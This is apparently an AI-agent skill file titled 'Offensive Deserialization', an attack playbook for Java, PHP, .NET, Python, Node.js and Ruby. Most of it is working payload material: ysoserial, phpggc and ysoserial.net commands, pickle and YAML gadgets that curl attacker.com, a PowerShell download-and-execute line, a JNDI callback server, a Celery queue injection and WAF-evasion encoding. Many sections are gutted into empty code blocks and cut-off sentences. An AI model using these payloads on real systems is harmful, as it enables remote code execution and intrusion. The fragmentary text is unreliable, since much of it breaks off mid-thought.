git:20260825.8cffe5d to git:20260825.1885f44

---

name: offensive-deserialization

description: "Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces including Kubernetes admission webhooks and message queue consumers, WAF bypass through encoding layers and content-type manipulation, and serialVersionUID/JMX/RMI vectors. Activate when the engagement involves deserialization sinks, serialized data in cookies or request bodies, gadget chain development, magic method abuse, ysoserial payload generation, or any review of marshalling and unmarshalling logic in target applications."

---

# Offensive Deserialization

Deserialization vulnerabilities arise when an application reconstructs objects from

## Quick Workflow

HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars,

gRPC fields, JMX/RMI endpoints.

---

## Recognition Signatures

| Format | Signature | Notes |

|---|---|---|

| PHP serialize | `O:<len>:"ClassName":` or `a:<count>:{` | Frequently Base64-wrapped in cookies |

| .NET BinaryFormatter | Base64 `AAEAAAD/////` | ViewState, remoting, session state |

| Ruby Marshal | `\x04\x08` leading bytes | Session cookies in older Rails apps |

| Java XMLDecoder | `<?xml` with `<java>` or `<object class=` | Legacy Java admin panels |

| .NET Json.NET | `"$type":` key in JSON | TypeNameHandling != None |

---

## Java Deserialization

### Identifying Sinks

```java

// Direct ObjectInputStream usage

ObjectInputStream ois = new ObjectInputStream(inputStream);

Object obj = ois.readObject();

XMLDecoder decoder = new XMLDecoder(inputStream);

Object obj = decoder.readObject();

// XStream without allowlist

XStream xstream = new XStream();

Object obj = xstream.fromXML(userInput);

ObjectMapper mapper = new ObjectMapper();

// Jackson @JsonTypeInfo on base class

@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)

public abstract class BaseCommand { }

```

### serialVersionUID and Classpath Constraints

### ysoserial Gadget Chains

```bash

java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

# Hibernate chain -- requires hibernate-core

java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin

java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin

java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'

```

### JMX/RMI Deserialization

```bash

# Scan for RMI registries

nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \

"http://attacker.com:8080/#ExploitClass" 1099

```

### Jackson Polymorphic Typing

```json

["com.sun.rowset.JdbcRowSetImpl",

```

Jackson maintainers continuously add classes to a denylist. Check the target's

`com.caucho.config.types.ResourceRef`, and similar JNDI-capable beans.

---

## PHP Deserialization

### Identifying Sinks

```php

$obj = unserialize($userInput);

file_exists("phar://uploads/avatar.jpg");

is_dir("phar://" . $userControlledPath);

```

### phpggc Gadget Chains

```bash

phpggc Monolog/RCE1 system 'whoami' -b

phpggc Guzzle/RCE1 system 'id' -b

phpggc WordPress/RCE1 system 'id' -b

phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar

phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg

```

### phar:// Exploitation

```php

$phar = new Phar('exploit.phar');

$phar->startBuffering();

$phar->addFromString('test.txt', 'test');

$object = new VulnerableClass();

$object->command = 'id';

$phar->setMetadata($object);

$phar->stopBuffering();

$jpegHeader = file_get_contents('legitimate.jpg');

```

---

## .NET Deserialization

### Identifying Sinks

```csharp

// BinaryFormatter -- deprecated, always dangerous

BinaryFormatter formatter = new BinaryFormatter();

object obj = formatter.Deserialize(stream);

SoapFormatter soap = new SoapFormatter();

NetDataContractSerializer ndcs = new NetDataContractSerializer();

// LosFormatter -- used in ViewState

LosFormatter los = new LosFormatter();

object obj = los.Deserialize(viewStateString);

// Json.NET with TypeNameHandling != None

JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {

TypeNameHandling = TypeNameHandling.All // or Objects, Arrays, Auto

});

```

### ysoserial.net Payloads

```powershell

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"

ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"

ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"

ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64

```

### ViewState Exploitation

```bash

ysoserial.exe -p ViewState \

-g TextFormattingRunProperties \

--validationalg="SHA1" \

--validationkey="KNOWN_KEY" \

--generator="GENERATOR_VALUE" \

--path="/target/page.aspx" \

--islegacy

```

### Json.NET TypeNameHandling

```json

{

"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",

"MethodName": "Start",

"MethodParameters": {

"$type": "System.Collections.ArrayList, mscorlib",

"$values": ["cmd.exe", "/c whoami"]

},

}

```

---

## Python Deserialization

`__reduce__` method. There is no safe way to deserialize untrusted pickle data.

### pickle RCE

```python

class Exploit:

def __reduce__(self):

return (os.system, ('curl http://attacker.com/callback',))

payload = pickle.dumps(Exploit())

print(base64.b64encode(payload).decode())

class ReverseShell:

def __reduce__(self):

class ChainedExploit:

def __reduce__(self):

```

### yaml.load RCE

```yaml

# Direct command execution

!!python/object/apply:os.system

- "curl http://attacker.com/callback"

# Subprocess with output

!!python/object/apply:subprocess.check_output

- ["id"]

```

```bash

grep -rn "yaml\.load\s*(" --include="*.py" /path/to/codebase

```

### Other Python Vectors

```python

```

---

## Node.js Deserialization

### node-serialize IIFE Pattern

```javascript

```

### funcster

```javascript

{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}

```

---

## Ruby Deserialization

### Marshal.load Gadgets

```ruby

# ERB template execution chain

require 'erb'

class Exploit

def initialize

@template = "<%= `id` %>"

end

end

payload = Marshal.dump(exploit_chain)

encoded = Base64.strict_encode64(payload)

```

### YAML.load Gadgets

```yaml

--- !ruby/object:Gem::Requirement

requirements:

!ruby/object:Gem::Package::TarReader

io: &1 !ruby/object:Net::BufferedIO

io: &1 !ruby/object:Gem::Package::TarReader::Entry

read: 0

header: "abc"

debug_output: &1 !ruby/object:Net::WriteAdapter

socket: &1 !ruby/object:Gem::RequestSet

sets: !ruby/object:Net::WriteAdapter

socket: !ruby/module 'Kernel'

method_id: :system

git_set: "curl http://attacker.com/callback"

method_id: :resolve

```

---

## Modern Attack Vectors

### Kubernetes Admission Webhooks

```yaml

apiVersion: v1

kind: Pod

metadata:

name: test-pod

annotations:

config-data: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH..."

spec:

containers:

- name: test

image: nginx

```

### Message Queue Consumers

```python

class Exploit:

def __reduce__(self):

return (os.system, ('curl http://attacker.com/callback',))

r = redis.Redis(host='target-redis', port=6379)

r.lpush('celery', pickle.dumps({

'body': pickle.dumps(Exploit()),

'content-type': 'application/x-python-serialize',

}))

```

```python

def handler(event, context):

data = pickle.loads(obj['Body'].read()) # RCE if attacker uploads to bucket

```

---

## Evasion Techniques

### WAF and Filter Bypass

```bash

cat payload.bin | base64 | base64 > double_encoded.txt

gzip -c payload.bin | base64 > compressed_payload.txt

```

### Content-Type Manipulation

```http

POST /api/endpoint HTTP/1.1

Content-Type: application/x-java-serialized-object

[binary payload]

<?xml version="1.0"?>

<java class="java.beans.XMLDecoder">

<object class="java.lang.Runtime" method="getRuntime">

<void method="exec">

<string>curl http://attacker.com/callback</string>

</void>

</object>

</java>

```

### Encoding Layers

1. Serialize the gadget chain.

2. Encrypt with a known or leaked key (session cookies, ViewState machine keys).

---

## Detection / Defender View

**Runtime defenses you will encounter:**

**Log artifacts your attack generates:**

---

## Engagement Cheatsheet

| Scenario | Tool | Payload | Verification |

|---|---|---|---|

| Python yaml.load | Manual | `!!python/object/apply:os.system` | OOB callback |

**Safe confirmation sequence (always start here):**

---

## Key References

**Tools:**

- ysoserial (Java): https://github.com/frohoff/ysoserial

- phpggc (PHP): https://github.com/ambionics/phpggc

- ysoserial.net (.NET): https://github.com/pwntester/ysoserial.net

- marshalsec (Java JNDI/RMI): https://github.com/mbechler/marshalsec

**Critical CVEs:**

- CVE-2015-4852 -- WebLogic T3 deserialization (Commons Collections)

- CVE-2017-7525 -- Jackson enableDefaultTyping RCE

- CVE-2018-1000861 -- Jenkins Stapler deserialization

- CVE-2019-6340 -- Drupal REST deserialization

- CVE-2019-18935 -- Telerik UI .NET deserialization

- CVE-2020-36188 -- Jackson-databind SSRF via JNDI

- CVE-2021-21978 -- VMware View Planner deserialization

- CVE-2023-34362 -- MOVEit Transfer deserialization chain

**Research:**

- OWASP Deserialization Cheat Sheet

- PortSwigger Web Security Academy: Insecure Deserialization